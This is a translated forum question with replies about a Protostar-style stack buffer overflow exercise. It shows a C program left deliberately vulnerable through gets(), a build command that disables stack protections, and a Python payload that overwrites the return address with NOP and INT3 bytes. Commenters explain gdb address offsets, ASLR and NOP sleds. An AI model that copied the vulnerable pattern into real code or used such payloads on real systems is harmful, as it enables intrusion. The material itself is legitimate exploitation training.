Шеллкод не работает (от protostar)

Привет, ребята, я хочу создать аналогичный файл, такой как Stack5, в protostar. Единственная проблема в том, что когда я запускаю шелл-код или просто \xCC, он работает только в gdb.

Исходный код

#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
#include<string.h>

int main(int argc, char ** argv)
{
  char container[32];
  gets(container);
} 

команда, используемая для сборки исполняемого файла

gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32  -g binary1.c -o binary1

например прерывание \x90

import struct
pad="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
eip=struct.pack("I",0xffffd6a0+4) 
payload="\x90"*12+"\xCC"*4+"\x90"*12
print pad+eip+payload

все результаты, которые я получаю, - это только ошибка сегментации (дамп)

Изображение здесь для демонстрацииИзображение для сравнения


person MihaiDamian    schedule 02.05.2018    source источник
comment
работает на ubuntu x64, если это поможет   -  person MihaiDamian    schedule 03.05.2018
comment
Ваш исходный код никогда не скомпилируется. Вы получите лучшие ответы, если покажете фактический код. Кроме того, откуда вы взяли значение 0xffffd6a0?   -  person Employed Russian    schedule 03.05.2018
comment
@EmployedRussian Привет, спасибо за ответ. Я получил адрес от: Ставлю точку останова на ret, потом si, потом получаю адрес регистра $esp. Во-вторых, почему вы говорите, что код никогда не скомпилируется? (Я скоро загружу исполняемый файл)   -  person MihaiDamian    schedule 03.05.2018
comment
Он не скомпилируется, потому что в коде нет никакой функции (например, int main() {...}). Кроме того, как сказал @EmployedRussian, откуда вы взяли значение 0xffffd6a0? Потому что GDB может использовать эти адреса для удобства использования. Обычно с ASLR вы не будете знать этот адрес. Вы должны найти гаджет ROP для выполнения вашей полезной нагрузки.   -  person sinkmanu    schedule 03.05.2018
comment
Извините, я плохо скопировал основное. Отредактировано.   -  person MihaiDamian    schedule 03.05.2018
comment
@sinkmanu ty за 2 предложения   -  person MihaiDamian    schedule 03.05.2018
comment
@sinkmanu: в этом варгейме нет ни ASLR, ни NX (но он может быть включен в ОП виртуальная машина). Этот адрес, найденный OP, может быть неправильным из-за смещения, вызванного системой при запуске двоичного файла внутри или вне отладчика, переменных среды и аргументов, помещаемых перед стеком (в более высоких адресах) в процессе ' Память. Я бы порекомендовал использовать нопслей большего размера, в этом случае цепь ROP не нужна.   -  person swapgs    schedule 06.05.2018
comment
@swapgs спасибо за информацию и ссылку на дубликат, очень полезно   -  person MihaiDamian    schedule 09.05.2018